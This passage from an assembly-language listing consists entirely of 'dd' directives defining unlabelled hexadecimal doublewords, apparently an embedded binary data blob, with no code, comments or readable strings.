0C1D4F9D6h, 0E4AE11h, 3950C936h, 3E7F9C9Bh dd 0E0F37A18h, 659A48h, 0B7645101h, 56D4A062h, 0E8397200h dd 4C9BAC47h, 4586303Ah, 8007FF20h, 7BA4CC14h, 97AFE020h dd 72078671h, 0E0F984E4h, 273275E0h, 0B05474E5h, 9F7B84h dd 966CF0Ch, 0F97EE16Dh, 2B7308C6h, 0E8190020h, 75EAAC0Ch dd 8701D33Ch, 7D864539h, 0C884F270h, 0FD428Ah, 83276604h dd 230B00EBh, 17B87072h, 0F203B2E5h, 2B6F0276h, 1E91D166h dd 972AB040h, 7A1D0161h, 0F38BAAFDh, 694880FCh, 9AE194DAh dd 37FA0768h, 46FBA172h, 660021DDh, 901994B2h, 54B7F8E0h dd 297B84D6h, 3E24CEFDh, 9A9D9482h, 8019FBC8h, 94C1B210h dd 0D686400h, 8205B717h, 66DC7670h, 29B558FDh, 0EB544902h dd 84E11E8Bh, 0CB60BD34h, 9A239C94h, 5820B0h, 5B94C2B3h dd 0AF5C13AEh, 50D15D00h, 0FF2F17DFh, 0F2C92848h, 24046CCh dd 66B00C9Bh, 28EA3001h, 20801081h, 4DAFC3E9h, 230066F0h dd 316AF417h, 0F590FAEh, 7EE39933h, 13FF30F8h, 5CFE5124h dd 0D80EF180h, 79156D5h, 0F0154B2Bh, 61EB57DEh, 810DFA9Ah dd 36AF1E29h, 0B07EB856h, 0DF1DA1E6h, 5E00E705h, 0DBE00CB9h dd 60C8608Dh, 567199ACh, 7E779B01h, 13262B97h, 0E7E4498Ch dd 9A98FC08h, 96D59B00h, 9C2F43E9h, 974F0063h, 0F2CDBD60h dd 4D2A232Dh, 79098412h, 15517Dh, 0B57298A8h, 78130AF3h dd 0A0941862h, 236469Ch, 66DA0CE1h, 1A011C11h, 0EEFE0CE9h dd 5C24708Ah, 98D700C2h, 0B4C88321h, 750149FAh, 627F8A54h dd 344233CCh, 0C9C3003h, 0E966CB11h, 0ED80EB88h, 94A50CE5h dd 150124A9h, 38C2078h, 9FC93816h, 81AEB6FFh, 18A928A1h dd 0E09404CFh, 33FA509Ah, 0D731007Eh, 301494C6h, 0B70079CCh dd 89F7F2FAh, 6A37E643h, 7428B034h, 1F0FE047h, 0A863D2FEh dd 70B72F3Ch, 0AC8DD732h, 0E9ADB00h, 31E5AF59h, 17DD00FDh dd 8BC84FD0h, 0DCA03E65h, 0DA802D2Ah, 51E912FFh, 1C0040F7h dd 863E7731h, 0CDD64906h, 60081A71h, 0A076211Dh, 0D9006374h dd 0D3B25847h, 606E983Dh, 0BA77F427h, 0FCA3342Dh, 2A9850DCh dd 54008859h, 866C85DCh, 0F9C4AFh, 0F240E8F1h, 0D2523244h dd 0C27AC105h, 0C058249Bh, 3CBDC850h, 37A06178h, 0DD294C90h dd 5603D411h, 54E0D35Eh, 90D70CAh, 35C7C6C9h, 4F53A820h dd 0AD033134h, 0B55B0160h, 0DC083030h, 3427F921h, 0CC396900h dd 90672823h, 80FD75D9h, 0B4003F2Fh, 9BAEFABBh, 48816AAAh dd 76034BF7h, 0B95623B5h, 0BD7F3FE0h, 0F8E4F304h, 188F22B6h dd 39C365C8h, 4C25E027h, 0B04E014Dh, 0D89D9A29h, 0B91C60DAh dd 3044B52Ch, 7C047312h, 9C213256h, 8970CE4h, 0E166CC0Ch dd 1440E5C4h, 45300CE7h, 226B2B01h, 3BAED31Fh, 927F2040h dd 9BE62A7Eh, 0ACA400A4h, 0D79D1E05h, 9105CC17h, 0D1F1F232h dd 0C0CBB808h, 0AAC83448h, 0DB226846h, 5534FA80h, 5617A300h dd 798FB862h, 7B392C08h, 326DC30h, 0CA428451h, 0E367C040h dd 0B5670173h, 2A8C342Bh, 79A8DC75h, 241C20FBh, 12058890h dd 47908DF2h, 37C6AC06h, 8B890EA1h, 0D200C3DFh, 0E872D69Bh dd 0E049C91h, 0E24833FEh, 4174F6C0h, 0D7A12186h, 0B1000991h dd 0F3F274CEh, 0C11C7D17h, 51837FFDh, 40FBDAE3h, 8CCCA479h dd 0F7344104h, 216230AAh, 3419F320h, 4C31001Bh, 0EE60E3C8h dd 0C40230B4h, 39167CBDh, 2B8C413Ch, 0CFAC318Dh, 0E39CE018h dd 0C863DB10h, 49A42038h, 0A6841E2Ch, 9A2605ECh, 0E57408FDh dd 2AF201CBh, 7448A986h, 0BDB28806h, 24CF7404h, 5483B3D5h dd 52502B47h, 0BEE3F09Ch, 3F21FA3Ah, 66BA80AFh, 7299EE35h dd 30E71975h, 10EFE846h, 5CBE4DAAh, 2C7310E6h, 7C0C32BBh dd 802B7321h, 92638CF4h, 0A240451h, 311AD150h, 0A6A0C069h dd 62A30069h, 1061B4F0h, 7004937h, 72BC2CF5h, 92E47E7Fh dd 2FC633B8h, 1AA84639h, 7500E9D2h, 10C3E54Ch, 32B9233Bh dd 0D9F91451h, 0B000C4C4h, 3214E63h, 286526AAh, 107435D6h dd 1FBB5E5h, 0B07AA8CDh, 70F0E993h, 0D02CB101h, 862B72h dd 0A417D53Fh, 531DB0B5h, 0AD1B8517h, 0B4B809h, 10848AFCh dd 759FC63h, 567695B1h, 0F435C052h, 685877E6h, 8FD1298h dd 23B4B400h, 3F28D3Eh, 0B06258A1h, 0DAE09B77h, 0AF0CC055h dd 408903FDh, 0F94008Ah, 4F591CA1h, 0C90177B8h, 0F680BC37h dd 9034718Bh, 0BF030ED9h, 7A23E4B4h, 21EBD8FCh, 7070A5E9h dd 0E1702951h, 20516F25h, 0ACFB41FCh, 0C81102A3h, 1CD1C67Ah dd 0D261CC82h dd 0B497B0ABh, 6028E588h, 0F5CD652Bh, 6CB66800h, 22A3606h dd 2413132Eh, 52816EEh, 0C88A7F98h, 2D54C768h, 26F874DCh dd 5259E700h, 0D25AD131h, 0B3F81328h, 486C46CCh, 50879035h dd 192B3742h, 6486DCFDh, 0A99C2405h, 0C81FFFB5h, 7DB91640h dd 98BF4B23h, 48C24638h, 0AAA50997h, 2838B140h, 3403F510h dd 271E5309h, 9488847Ch, 73DCBCC8h, 0B6B53386h, 38BB0468h dd 0D4D1D0C8h, 1799C118h, 355C918h, 0A605B4E9h, 0FDD8DF2Eh dd 1901DD4Bh, 20729CC4h, 0E8815BF5h, 1245AD79h, 0E534200Ch dd 215C1079h, 9F240064h, 4D857441h, 3220C062h, 0E4CF083Dh dd 84202153h, 0DB6274B5h, 18E47CE5h, 0F722C560h, 42BAB900h dd 715D2E30h, 0E5E707DFh, 82A79DF6h, 0C8403675h, 0D5337C86h dd 98AF807Eh, 481C6697h, 0FC894C50h, 0EF7207h, 96E1F0C6h dd 411E660Fh, 0A1F809DEh, 897713CCh, 5C3288CCh, 78222CE1h dd 99658416h, 20395C5Fh, 1D19C48Ah, 18CE224Dh, 218451D9h dd 0F508F1D2h, 61764640h, 203A4C3Bh, 20FE0C4Ah, 0D9B9E24Dh dd 9CC1C860h, 0BC2F362h, 849EAF13h, 0DC7F1820h, 466426BBh dd 724F3150h, 393297C6h, 0F4150401h, 1941AF27h, 3CDDE5E0h dd 1B0B77F7h, 0B4062962h, 21F4710Dh, 85073F0h, 4CF02008h dd 1677E044h, 0DB363Fh, 0D3EF1EA4h, 15618C68h, 4E9B2E79h dd 49D7C824h, 30006439h, 2794D1ACh, 0BDFC8D99h, 7AD46D50h dd 2FFCA127h, 124568D4h, 9B8021C7h, 794C43A6h, 18808AC2h dd 1E111F0Ah, 21202E00h, 659C7DBFh, 6755005Bh, 0BD872809h dd 1E0046A9h, 0EE736159h, 0C78A6Fh, 72256F1h, 4096E63Ah dd 3EE9820Ah, 0D0781449h, 9E8E668h, 8B6D948Dh, 0C90C9881h dd 2E426C7h, 0AAAC3424h, 0C0E748h, 1D379CF4h, 3F00164Ah dd 0F1C37CB9h, 4811B066h, 2F4BD401h, 0FD64109Ch, 0C627A8C1h dd 650AE86Ch, 2E98453Dh, 83002C4Ah, 4D6B1042h, 0BA89CC2h dd 891EF25h, 7F3218E6h, 41861077h, 4F80B4D6h, 795BE474h dd 1B7C1E31h, 1A25CD9Ch, 79DC01B8h, 0B990004Fh, 3C074D99h dd 3C9DFC27h, 8B80DD91h, 31863DF1h, 0C86858C1h, 0BA000649h dd 42635965h, 844DA819h, 0F2380400h, 0E0C1B23Dh, 0CDE5F630h dd 9C200C31h, 1ABC008Fh, 0B9E2FF0h, 0A500AC15h, 0C216F384h dd 533BC962h, 50FE04EFh, 0E850ED5Dh, 6E31CF08h, 8861202Dh dd 9239817Eh, 30172038h, 28A5E700h, 42CFE1DDh, 61F33834h dd 842F028Ch, 22844C28h, 0B62206A9h, 28082235h, 446908E1h dd 28A30A07h, 302F219Ah, 5D1EC084h, 71321428h, 2108A107h dd 0D849D839h, 0D60B6A1Eh, 80F8D59Ah, 8C598BB3h, 0F40300E8h dd 84DC8DA9h, 5B01293Fh, 6C0C7B2Ch, 0B1E038B2h, 0D78009Eh dd 8BB6D8B7h, 4000E815h, 733CFC8Ch, 606E551Dh, 0F4ED323Dh dd 0D3000182h, 0B44FA71Ch, 13149C7Ah, 0EBADDCEh, 26202762h dd 206A03E2h, 2CBCB53Eh, 0EA07F10Ch, 960DD36h, 655A5Dh dd 482162CFh, 0AB124928h, 0BD150F00h, 0B911693Bh, 7F57BCBh dd 978B1F98h, 2A62058h, 0B100A2AFh, 1A37E055h, 0CF6344h dd 0E6B77856h, 17397DF1h, 0EB87701h, 32876147h, 0FC103831h dd 0E8AB2Ch, 71185EB2h, 0DE3476ACh, 31CC4100h, 0FC74C5A8h dd 55A100D6h, 7710448Ah, 4D007E4Eh, 7FCA6C0Ah, 48CED009h dd 3D0018C6h, 2D333925h, 7903BF2Bh, 511743Ch, 0A929B050h dd 99BD000Ah, 16351A5h, 9E0A661h, 0C505D600h, 12BB8E3Dh dd 0D3E50560h, 4A9D35h, 4CDC6CA4h, 600D562h, 7481A413h dd 0AB0EE3h, 0B4F52F1Fh, 0E4491C6Fh, 777E6300h, 410DA327h dd 0AED003AFh, 0C3D55A84h, 0EB8A11A0h, 0B12CBA00h, 0D6021FCDh dd 44ED00D7h, 8EE54E08h, 3300F909h, 4D9A4FA2h, 743059h dd 0F73A69A3h, 245F5515h, 0DFBFB200h, 0E26254CAh, 2C7501C5h dd 0EEEBB64Bh, 0F473E032h, 0D136DE00h, 28ED4397h, 53210090h dd 0BE7F5A16h, 9D008C47h, 11E9FE98h, 506AD397h, 78C4A2h dd 0DA5AB539h, 469098A5h, 5B95DE14h, 928E069Ch, 3C203D50h dd 97D5F94h, 4A02F8FAh, 37A28200h, 0D100229Dh, 63D5B9BDh dd 7CB4D731h, 50F40001h, 5F4E32B8h, 5C3B6C22h, 9B668077h dd 4CDE1DA8h, 45E7009Ch, 3D58D230h, 0F503D6A7h, 0D56C1A7Eh dd 0E150A008h, 5EAD1362h, 0B2A90080h, 94C51C18h, 285BCB3Fh dd 5403B4FBh, 0D3BAA945h, 0A0FAF8E6h, 0F4563888h, 96AB228Fh dd 812C4987h, 24056AEAh, 0CF36318h, 0C3A20062h, 902ECE5Ch dd 3E1CE875h, 4644178h, 0C0EC7B0Eh, 1560835Ah, 0FCF90057h dd 8A087DCFh, 4600EAA3h, 0E0925B56h, 3D72687Eh, 0C480ACE7h dd 84AF66BDh, 3A0BC0B9h, 11BC141h, 0FC1204CBh, 584930E4h dd 2407174Fh, 0C093A194h, 38B86017h, 0A2F80D00h, 6E0BD93Bh dd 0E4D3121Bh, 699C013Ch, 0F86A149Dh, 8B00864Dh, 6315F194h dd 75ACD84Ch, 20E96075h, 10CCFD11h, 3A4E3001h, 0F338155Ah dd 76D796E0h, 0BFE03AF8h, 5E2FAF00h, 5574D52Dh, 2C52461Dh dd 0A74202FDh, 607703A4h, 29EA32Bh, 0B9494827h, 96800B0Eh dd 204694D8h, 61444C1Fh, 0F88D8A00h, 3E406Ah, 0ECFA01DDh dd 0E82009A2h, 0FD04CFEAh, 0BD178586h, 0DDC2EC80h, 301E246h dd 894E6F98h, 0E0053D95h, 6B024BCDh, 35570480h, 0CC8C0066h dd 7BC84126h, 213E33EEh, 92D5804Dh, 7CF2E4CEh, 508500C7h dd 457E773Bh, 4100044Ah, 768482D8h, 90808DABh, 0F5010014h dd 0BB1EB87Ah, 7B00F345h, 0AA3637B4h, 7EFE06h, 0ED0E2C02h dd 0CCE37C8Ah, 0B8809403h, 0F84B8C74h, 200D26h, 0F209D36Fh dd 0A9D934ABh, 0F100FCE8h, 1B12C4AFh, 68D19Ah, 0B3A5B686h dd 71437662h, 24663Ch, 61ADFEC9h, 0D92952h, 0A0330F31h dd 83B26312h, 73B45F0Fh, 2440728Eh, 9DA66954h, 575D00E3h dd 34332EF8h, 0E400BE04h, 0C671C444h, 56631E7h, 6BA942CAh dd 692C01Eh, 702E1D82h, 45007B68h, 6DA2C4A3h, 0AF613AD6h dd 0F8AE2C01h, 302EE69Ah, 7E7670ADh, 39DF7107h, 0D787F74Ah dd 801865B3h, 0EEE387Bh, 0B613B5E5h, 0D4424100h, 740B79DAh dd 80E1E7BCh, 848A1865h, 0C08C01FAh, 3A18B63h, 79AFC07Dh dd 7729ED00h, 0BCA0FF1Fh, 0F5FD00E6h, 4785286Dh, 920789C2h dd 54234584h, 22CB6AD0h, 7E4E741Dh, 300C0062h, 2F7C8DA4h dd 5A00BCA7h, 189B49DDh, 0FEDBDCEh, 1E331DAh, 6079D5C0h dd 88B1DB58h, 3A46EC40h, 2E94809Dh, 4D435400h, 480D77C0h dd 318E03F1h, 0DBEF3A34h, 0FCF0F29Bh, 6C00D2A2h, 0F67EC71Ch dd 0D4A60Ch, 0F3DEAA46h, 5B49324Dh, 5F02500h, 0D026BCC3h dd 1EF0A8h, 4E676D87h, 9E907217h, 7F1F2902h, 0E0E98139h dd 5D4A65h, 69151B03h, 45768CCFh, 95736109h, 0B02004Bh dd 24F0FE40h, 18435D8h, 91E8EEADh, 0B480CE83h, 86A95599h dd 78E77F00h, 0C84A976Eh, 8E3A0031h, 9504E507h, 4F30861Dh dd 1B8A10F4h, 2C8190ABh, 5262DFDh, 81D46503h, 6429A28Ch dd 0CE011A98h, 0A9A5B534h, 78304EC5h, 0A1BB05FFh, 0C2885AE3h dd 42E32332h, 29B010A8h, 8C7F5600h, 0B4F9589Bh, 0D9AB00DCh dd 7A088849h, 6B011391h, 97637B66h, 80301B18h, 0BF281F85h dd 406D4089h, 0DB099D5Eh, 0A500D97Ch, 0B6209781h, 14377Ch dd 80152274h, 0B3CB321Bh, 168ED00Eh, 0FB9D6007h, 0EA968E4h dd 0E2BD24B8h, 49867FC0h, 0BC008550h, 0A622776Fh, 40CD143h dd 0DFBBF4D6h, 0D8D3804Fh dd 0B3000154h, 41ED9208h, 16E33520h, 0E0EF69h, 34B8F880h dd 4F005ADAh, 0C5C62E19h, 6A9DB15h, 0D028F02Ch, 140020BCh dd 7A170F58h, 0DC837Fh, 0B7232F4Dh, 2450B91Dh, 0E3269790h dd 0B2165B4Eh, 5DD0800Fh, 3CA0CD7Ch, 0AD7B0FB4h, 0F9F000B1h dd 1760B84h, 0B34547CAh, 0C6BE851Ch, 52730C0h, 4E72D600h dd 583EB5EAh, 6E7500EEh, 3A1A217Fh, 94005004h, 25B36C4h dd 176C37Ch, 0D5C678A8h, 70D4B6AAh, 467FA9B5h, 118988DEh dd 0E7C90A3h, 0F7E900A0h, 36E7788Ah, 52021270h, 7165C095h dd 6D404883h, 5F280031h, 0A419A9DCh, 0E8009556h, 6EA5A146h dd 78A04AEh, 0D17AFE0Fh, 0D2DCA047h, 0F11EB9DDh, 5C394AB5h dd 6CC50931h, 7BFA07BDh, 74D78FB0h, 0E9F92ED1h, 723B60D8h dd 0DB125EA3h, 0B500B153h, 0BBB7B981h, 0AF2C3C69h, 4C2524h dd 93AF8D5h, 0C812124Bh, 6C13ABA8h, 882F1400h, 143E4E8Eh dd 9459A51Eh, 0A0828A00h, 1FC8EA69h, 9C36A100h, 6306C547h dd 0A5FA032Fh, 0AACF2DB1h, 7BC09B82h, 0D200F498h, 0E9F0E222h dd 74D3796h, 684E4B20h, 1A509038h, 0B1B0EECAh, 0F24155Dh dd 400422BBh, 9FDBB3F0h, 55360060h, 4A268216h, 0F9EE9A20h dd 2877500h, 77EF0339h, 0A7DE00D8h, 0D510A217h, 130EA67Eh dd 40F531A8h, 65672A4Fh, 0F4E837h, 9CB5E35Dh, 536BD433h dd 0F0762B30h, 249920EFh, 960C50Dh, 0A441AA18h, 2A6DCC81h dd 0F402B100h, 0FCBBC52Eh, 509558F2h, 0A0149F02h, 74E05F49h dd 6A0A8662h, 98CB7ADDh, 8A5E4500h, 985B50FDh, 0FA53005Ch dd 128DFB3Dh, 27008CBFh, 83FDB084h, 1804EAh, 0CCC3EF15h dd 48961A1Eh, 78345C00h, 3AF9BF39h, 131200BDh, 9492B7C4h dd 28000223h, 7E3B6416h, 79E7E397h, 4C860041h, 5A261895h dd 5001AEAh, 3B988FBEh, 202616Dh, 81D0373h, 83D57ED6h dd 0C07AB7ACh, 7B7D50h, 0C52B6C0Eh, 80589F56h, 0DE5C6900h dd 128EF3E0h, 0B2C000A6h, 7DECE5B1h, 42670320h, 2E90C941h dd 0CDF58D0h, 0BA6EA2ACh, 73E2DA18h, 3D0A7400h, 245916BDh dd 75B430B3h, 0FA772A21h, 872DED3Ch, 0D3CE9954h, 0E26D3920h dd 65F63886h, 66175680h, 649B7287h, 754B8F00h, 0DF15A66Ch dd 898C0040h, 0B66845AEh, 0AB032F37h, 7271FE5Fh, 8056D255h dd 76048BCCh, 0E89050h, 5A19E596h, 262C71CDh, 80DB4D3Ch dd 0CA7E16A5h, 1CA67081h, 0C05D1091h, 476CFD22h, 412E0E3h dd 1400F57Dh, 142D2551h, 7FC3002Ch, 150776F1h, 10F6765h dd 20DA6C06h, 0D811702Bh, 86D502DFh, 0A844AD02h, 0F0936CE1h dd 42F2C6D2h, 0EB8F0A00h, 0DA5F9A5Ch, 70B00071h, 61053489h dd 0A703E8C2h, 0E1073858h, 2479B066h, 604A0048h, 154FA47Bh dd 0EF002E82h, 17C1F7D6h, 121C85F8h, 591D9AEh, 762CEBh dd 0C35F2EA7h, 8B3E1BF9h, 12BCF2h, 192F677Ah, 2C02094Ch dd 14E258C6h, 743EBCB8h, 8DD4B300h, 81A96389h, 0C2009C74h dd 0B7F9C968h, 4223FD8h, 202B18E6h, 0D3E0A03Ah, 605DE00h dd 0C4EA6D80h, 0B719C030h, 0C320275h, 4EDD3804h, 0BA000906h dd 6B6E82CCh, 0F2DFDEA0h, 0DDE06100h, 1C72205Dh, 398500FAh dd 88292146h, 0A1090B6Ch, 8024C586h, 0A7CE7E5Ch, 0D68D18E1h dd 4A9A50F0h, 3DCC361Ch, 0CD7BB500h, 0E885FBh, 0A8221227h dd 0D1B45407h, 5CB6D01Dh, 0CF3014h, 19750A85h, 1E8CA7h dd 8B554C22h, 5698C41Bh, 24BE0202h, 43E01DFFh, 0B99398B4h dd 0F20040Ch, 0A0AE7561h, 0BB3FF9B0h, 0C5ED80D3h, 9067161Fh dd 103F0068h, 6172348Ch, 64391AEFh, 0CC690974h, 0E908A04Ah dd 36CFE82h, 328BB4B0h, 50035471h, 0C0CC56C9h, 4BE2F04Ah dd 0EB8701A8h, 1FD23933h, 1B3C302Fh, 101625Ch, 4ABC61C9h dd 0F028630Eh, 3F959D0Fh, 8900D9CBh, 0D0491423h, 1A91891Fh dd 0BA286030h, 5B2D00EBh, 9C3B586Bh, 7B007119h, 83EF6703h dd 39242296h, 0EB00041Eh, 0BC9961D2h, 0F9005692h, 0E884311h dd 1C46AA9Ah, 32483CFh, 0CE4A1247h, 0C70D92F8h, 541CCC00h dd 2FCD881Fh, 4677041Dh, 817994A2h, 0EC80336Fh, 930E7357h dd 0BCFCDAE8h, 0F4FB80FFh, 31535B56h, 0E6540191h, 856F7634h dd 2398702Bh, 82C5AC1Dh, 0C0860843h, 494EF0A8h, 5AC4A82Ch dd 2D5F004Bh, 0B899EC21h, 0D1DA774h, 4F79AA19h, 35208C77h dd 0E6BCB707h, 0A3B50070h, 38A0AE5Dh, 0EA003AD8h, 7CC8D16Bh dd 5170C633h, 0D2E6CC5Eh, 0A1600114h, 0E2079B5Ah, 0AF87D4F6h dd 3BF1E402h, 615DBE06h, 0A821DC81h, 124AC530h, 52B27B05h dd 870C0C8h, 0F800BF87h, 5017E44Eh, 3392D4h, 6E527CD0h dd 0D8C8E7A1h, 8F285F7Dh, 4700FCA9h, 0BCE65B30h, 42F095h dd 5FE16F71h, 3D27E798h, 3CEB2F00h, 0F27DC41Dh, 61840232h dd 57237C14h, 755E7FC0h, 3FF67FF6h, 8F39EB02h, 4066970Eh dd 0C8691Ch, 1DDFBCD9h, 68846BA7h, 74034D00h, 0B279D516h dd 9C703D67h, 56D11500h, 3DABBD2Ah, 0E845FC1Eh, 0A9AF4000h dd 0E9073Ah, 3BFEBBE6h, 0CCFC8DE2h, 0EE0C4301h, 0B6EC0672h dd 3FD824h, 5535016Ah, 0A0C9941Eh, 0B54F771Dh, 1560D200h dd 1AAEF6Eh, 42285F70h, 70D4CE73h, 90007870h, 2F42E47h dd 0F214702Dh, 0C2E10941h, 6C8293D4h, 0C611C42h, 0B24E0032h dd 0C8222C37h, 8A010014h, 26FA93C3h, 895DC43Eh, 8EADF7h dd 9DB7D508h, 0E213B886h, 40E4488Fh, 56913F7Ch, 7289624h dd 105E2F4Eh, 0E637A86Eh, 0DC15E8E1h, 6250720Eh, 28B8CC97h dd 6B7E07CEh, 90EC5DA4h, 4393F30Bh, 35D53301h, 0A541B19Dh dd 0D0BFD203h, 84FC7754h, 0DADBA800h, 60574EF3h, 0F1280B79h dd 54007E63h, 2AAB09ACh, 0DAF4100h, 1695A022h, 0E0403DF2h dd 8677FE1Eh, 0F0B46DBCh, 7C4CEC00h, 46596A8Dh, 5190037Fh dd 8EF2C889h, 0F4C34BF1h, 0CA04F3EFh, 71980F40h, 161348C0h dd 5A9001h, 0B5494583h, 58AF3C14h, 5AFDE904h, 50D0F9D1h dd 92F4CDF0h, 0DB780170h, 469FED55h, 800FFD73h, 0F1A91919h dd 48C9204Eh, 0CC0F7C5Dh, 54E076E1h, 0EBA84001h, 7BB2FA02h dd 0E0C57FE5h, 4C789C6Bh, 2A20F466h, 76B62C00h, 0B7DEE1F8h dd 2BE03A35h, 12C2AC00h, 0E9EB058Eh, 0BDA9FF00h, 624BE5B2h dd 6773F55h, 0D9FA9D8Bh, 29718180h, 0B5122B4Fh, 9300F3B3h dd 0B6F11D6Ch, 0E4E700BEh, 1EEAF5CBh, 841289B4h, 1C0004A3h dd 0D3D11688h, 52AD0629h, 18144882h, 7C74440Ah, 9E00A4ACh dd 88B29060h, 2760B03Bh, 0EC9954C3h, 0D01EF00Bh, 42ED148h dd 5F157CA1h, 0EA468090h, 10609FFh, 8C8E8348h, 13A7CF61h dd 154020E4h, 0D746BD00h, 476DFD5Ah, 171067Bh, 20E7D92Fh dd 290A8606h, 0EC3134DEh, 0CE18189Ch, 0AB9218Bh, 0F579A002h dd 60C57A17h, 0A8473264h, 0BCAA1DE0h, 0C4DB5814h, 0FA0A48h dd 0A05F6805h, 76644994h, 92101203h, 63B200EBh, 7CEFFC6Eh dd 44E64AEEh, 1863774Ch, 0C5603AF6h, 4FB912BFh, 406C016Ch dd 64AB2DC2h, 800009E8h, 9E426B63h, 7054595h, 1A7B6424h dd 80D014CDh, 14EED414h, 0BCAF6A14h, 30C800ECh, 0C0F3462Fh dd 8A0B0644h, 0BADA7277h, 84AEA100h, 74A69BE2h, 0FDDD00B1h dd 70D5C033h, 0DA39D844h, 73EE009Ch, 62C284B9h, 90ABF6BAh dd 9B01008Eh, 7C25BFA0h, 2E1CF713h, 3843803Bh, 0FFDCC2FDh dd 9DB053h, 0B32BCC40h, 4E206787h, 0CA74E700h, 27EF3BC7h dd 68710546h, 0C0499970h dd 696DF358h, 48398103h, 16A360Bh, 275C6620h, 30AF8FAAh dd 0FC3CABC2h, 919D0022h, 5B924451h, 0C315099Eh, 0C80094EEh dd 85C93D95h, 7ECFDE8h, 0BAC8C407h, 5B6022F0h, 9DF19F5h dd 8A84AF6Eh, 9A2AF580h, 0EA77D8E5h, 4E27424h, 66DAF200h dd 0F11D3982h, 96B38820h, 69F300B4h, 84452CA8h, 5D269300h dd 0A330AB1Bh, 0C43D03B5h, 41254C24h, 0A1802BF3h, 8D0056DFh dd 0A5AC2C45h, 75DD7A2Dh, 68FE4881h, 0C99DF500h, 37460124h dd 0DE6BB7Eh, 0B261A400h, 7D3477EBh, 68B73D22h, 98432D00h dd 0DDB8DB15h, 84760B26h, 0C0800190h, 9273A4CFh, 957E51Fh dd 0E7A03E8Eh, 2F07A5AEh, 0D4C35C80h, 0C6EF0005h, 167AF911h dd 0D700DB49h, 0A2C2121Ch, 3F4A7B2Bh, 0D100C66Bh, 21297704h dd 0B02D8F5h, 0E416F0E2h, 0DE00F13Bh, 8CDC7Ah, 0AAF53614h dd 38CDC229h, 949AEB78h, 8372C116h, 0C79FA103h, 0A1C4D02Dh dd 0C5DAA078h, 0B2270033h, 7560986Fh, 0C0EAEF2Eh, 0CDAD2017h dd 555E3B00h, 6393Dh, 969A536Fh, 0E0987AB7h, 17DA3200h dd 0E7EB6D1Ah, 1468E451h, 0D83A7288h, 0C77E4A03h, 28A8A522h dd 0CA05C8D0h, 3EAEE169h, 10DB2080h, 7A59137Eh, 582400D7h dd 510E6649h, 0E6508800h, 11AC707Dh, 0F6D000A1h, 90285B4Bh dd 0B40041C6h, 88E3A3BAh, 9BDD3BCh, 0CC6A831Dh, 0F106D0Ah dd 1320EC3Bh, 61905BE9h, 0F82442B0h, 20005CE3h, 1F9E4E18h dd 0C019C024h, 0E63F1193h, 84EA9000h, 37EE7A0Dh, 0A5020054h dd 1906656Ah, 3505FFACh, 873FA3B8h, 66E8A0h, 0B7310102h dd 5581D57Ch, 710EF49Ch, 60C05D3Fh, 0B7361507h, 0DBC30732h dd 0E50C187Dh, 1DB0C0EFh, 0FF1EB17Bh, 65C1EE28h, 7E218BADh dd 56E6C8h, 2086F767h, 92457BEFh, 0B568E309h, 7C2820C2h dd 26E9CA8Bh, 0C9121B2h, 5E18D8B1h, 19AB393Ch, 49114781h dd 0A37ED0E3h, 0C283000Dh, 9DC6010h, 9E00D6F1h, 668B3E21h dd 9556C68Ch, 6DE8E483h, 4DC5AAF0h, 25408D60h, 546F1E5Fh dd 83FE4092h, 0FD93DF90h, 4EDE3A00h, 1EBC15ECh, 0D584A867h dd 618103B5h, 80E9557Fh, 0F98CE4C9h, 2771E011h, 0E3F6C603h dd 0E0CEF76Eh, 0C282FCh, 0E9618B84h, 7BD56472h, 603FFF7Eh dd 17C98021h, 0E218389Ch, 7A80B03Bh, 806E001Bh, 0EC7F0A95h dd 9F019A7Bh, 0B8995BE4h, 2130B623h, 0C65806E1h, 995267EEh dd 0FE09820Eh, 21DAA093h, 0C902E7CBh, 5CA73608h, 3CFEE02Bh dd 0BE4A5F7Eh, 0D6E1CC03h, 0FB0C095h, 3344007Bh, 213FD060h dd 7F167486h, 0F411353Ch, 0E7290090h, 0F15F491Eh, 466619ABh dd 2A520841h, 6007080Eh, 0BDF7DC1Eh, 0CBB61315h, 41D40020h dd 0C28DBC80h, 484B6800h, 3EE12CC1h, 0C87CB0B6h, 0AC1F1C8h dd 0F2F4E8FEh, 8D2086DEh, 0A83400C8h, 42BEEBFEh, 3603982Eh dd 0F8B9B59Ch, 0B4A938D8h, 0DC931407h, 0BFBB8381h, 0F074AD89h dd 7860B3A8h, 57EB8AE8h, 7932832Eh, 303AF062h, 4E111E9Ah dd 6888095Fh, 1E00DAA0h, 0BA4F89CDh, 60643261h, 0EF15E8ABh dd 0BF54FE25h, 0C648DBB4h, 3B43A8Eh, 0BBAF486h, 0E82EA287h dd 7A4E442Ch, 0B9C41592h, 0C80C64FCh, 5EB07D9Fh, 24BB0310h dd 4BB1E006h, 5C0BE09Eh, 4095D962h, 0CF3BC0h, 60E5B53Ah dd 6F812227h, 215309CCh, 0B534002Fh, 0E44882Ah, 9E00CB92h dd 0FDA2453Fh, 0A0FB404Bh, 30D26160h, 0BC10A481h, 7200DDF2h dd 1928AADCh, 0FE01652Dh, 82D30063h, 0B2EE22D1h, 510072AEh dd 0CDC60609h, 3CB1436h, 5657C4B4h, 8FE060EBh, 260039F5h dd 55498323h, 79F94E0Fh, 0F0843A13h, 0A09DA580h, 0E320766Fh dd 30F7F80Ah, 0D30010FAh, 25F4AAD2h, 0A42F0F71h, 6D879C4Bh dd 0B61A20A8h, 0B01DC83h, 8BB20232h, 289CCEF0h, 0E290C086h dd 69DCE119h, 0EA270B00h, 442DB79h, 21720133h, 8A959287h dd 0DFBFC31h, 0A329C801h, 0A0866511h, 4B5800D7h, 8795B9B1h dd 1A30CD91h, 9D8E70D8h, 7DC1387Bh, 0AFD72E03h, 0B0E6B1ADh dd 8C99800Fh, 0F1F5E0D3h, 1CBEB275h, 80895BD5h, 43286A49h dd 0CA0F721Eh, 80586E30h, 1B5F0BBCh, 0E39E00A6h, 40CC0E0h dd 0A1615D57h, 703E2650h, 0CE8FBFECh, 3900DD11h, 9C73AC10h dd 387F100h, 7F9812Eh, 8FE227h, 846E6159h, 55F1664Dh, 3C7CE2E4h dd 0DCEB100h, 740E065h, 5AE6057Ch, 3E45466Bh, 0EBD1E004h dd 1010C743h, 6E182CE9h, 59C3200Fh, 9A00F3B4h, 19514513h dd 5425003Eh, 0E6957D10h, 0DA316E68h, 0A38D29C1h, 0D5404102h dd 8500F15Ah, 0F230881Ch, 5C7FE1A8h, 3500E062h, 0D2A6D6BFh dd 0ED00F3DAh, 258A6E8Ch, 1ADBD8h, 0ADC91DE9h, 0EC69FD7Eh dd 